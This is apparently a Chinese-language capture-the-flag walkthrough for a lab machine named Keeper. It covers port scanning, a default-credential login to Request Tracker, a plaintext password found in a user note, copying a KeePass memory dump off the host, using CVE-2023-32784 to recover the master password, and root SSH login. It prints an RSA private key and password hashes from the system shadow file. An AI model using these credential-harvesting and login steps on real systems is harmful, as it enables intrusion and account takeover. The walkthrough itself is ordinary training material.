基本信息
端口扫描 22和80:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 $ nmap -sC -sV -Pn 10.10.11.227 Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-14 13:52 CST Nmap scan report for 10.10.11.227 Host is up (0.11s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 35:39:d4:39:40:4b:1f:61:86:dd:7c:37:bb:4b:98:9e (ECDSA) |_ 256 1a:e9:72:be:8b:b1:05:d5:ef:fe:dd:80:d8:ef:c0:66 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Site doesn't have a title (text/html). |_http-server-header: nginx/1.18.0 (Ubuntu) 1059/tcp filtered nimreg Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 44.70 seconds
80 直接访问得到一个链接,添加hosts后访问链接,是一个Request Tracker:
1 10.10.11.227 tickets.keeper.htb
Request Tracker 默认账号密码登录:
1 2 3 NOTE: The default credentials for RT are: User: root Pass: password
管理员->用户中看到另一个lnorgaard用户,查看详细信息,注释中得到密码:
1 2 lnorgaard New user. Initial password set to Welcome2023!
user flag 得到的账号密码就是SSH密码,直接登录:
提权信息 用户目录有个RT30000.zip,解压就是dmp和kdbx那两个文件,dmp是keepass的crash文件:
1 scp lnorgaard@10.10.11.227:/home/lnorgaard/RT30000.zip .
CVE-2023-32784 根据已有信息搜索,发现CVE-2023-32784,可以从dmp文件中获取keepass的master密码:
keepass 小坑
直接使用上面的,运行得到部分信息:
然后Google搜索,发现一种食物的名字:
然后小写,才是实际的keepass密码:
其中得到root的putty ssh key:
PuTTY-User-Key 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 PuTTY-User-Key-File-3: ssh-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tB9V8ox1kxBrxAvYIZgceHRFrwPrF823PeNWLC2BNwEId0G76VkA AACAVWJoksugJOovtA27Bamd7NRPvIa4dsMaQeXckVh19/TF8oZMDuJoiGyq6faD AF9Z7Oehlo1Qt7oqGr8cVLbOT8aLqqbcax9nSKE67n7I5zrfoGynLzYkd3cETnGy NNkjMjrocfmxfkvuJ7smEFMg7ZywW7CBWKGozgz67tKz9Is= Private-MAC: b0a0fd2edf4f0e557200121aa673732c9e76750739db05adc3ab65ec34c55cb0
提权 & root flag putty用的key需要转换一下格式才是通用ssh,然后就直接使用私钥ssh登录:
1 2 3 puttygen PuTTY-User-Key.ppk -O private-openssh -o root_id_rsa chmod 600 root_id_rsa ssh -i root_id_rsa root@10.10.11.227
root_id_rsa 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 -----BEGIN RSA PRIVATE KEY----- MIIEowIBAAKCAQEAp1arHv4TLMBgUULD7AvxMMsSb3PFqbpfw/K4gmVd9GW3xBdP c9DzVJ+A4rHrCgeMdSrah9JfLz7UUYhM7AW5/pgqQSxwUPvNUxB03NwockWMZPPf Tykkqig8VE2XhSeBQQF6iMaCXaSxyDL4e2ciTQMt+JX3BQvizAo/3OrUGtiGhX6n FSftm50elK1FUQeLYZiXGtvSQKtqfQZHQxrIh/BfHmpyAQNU7hVW1Ldgnp0lDw1A MO8CC+eqgtvMOqv6oZtixjsV7qevizo8RjTbQNsyd/D9RU32UC8RVU1lCk/LvI7p 5y5NJH5zOPmyfIOzFy6m67bIK+csBegnMbNBLQIDAQABAoIBAQCB0dgBvETt8/UF NdG/X2hnXTPZKSzQxxkicDw6VR+1ye/t/dOS2yjbnr6joDni1wZdo7hTpJ5Zjdmz wxVCChNIc45cb3hXK3IYHe07psTuGgyYCSZWSGn8ZCihkmyZTZOV9eq1D6P1uB6A XSKuwc03h97zOoyf6p+xgcYXwkp44/otK4ScF2hEputYf7n24kvL0WlBQThsiLkK cz3/Cz7BdCkn+L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/$jCd9wfODgoaD9Ax.4Pd9e3MTLOq9.FD3hf9cpM.VBM5:19501:0:99999:7::: lnorgaard:$y$j9T$qmixKwf75kn3y/SUlKSPg1$43ckVIMecnmD1abUBr5JsjgiivdcZ2MLQFDRooFK0f4:19501:0:99999:7:::
参考资料
Last updated: 2024-02-12 23:39:20
水平不济整日被虐这也不会那也得学,脑子太蠢天天垫底这看不懂那学不会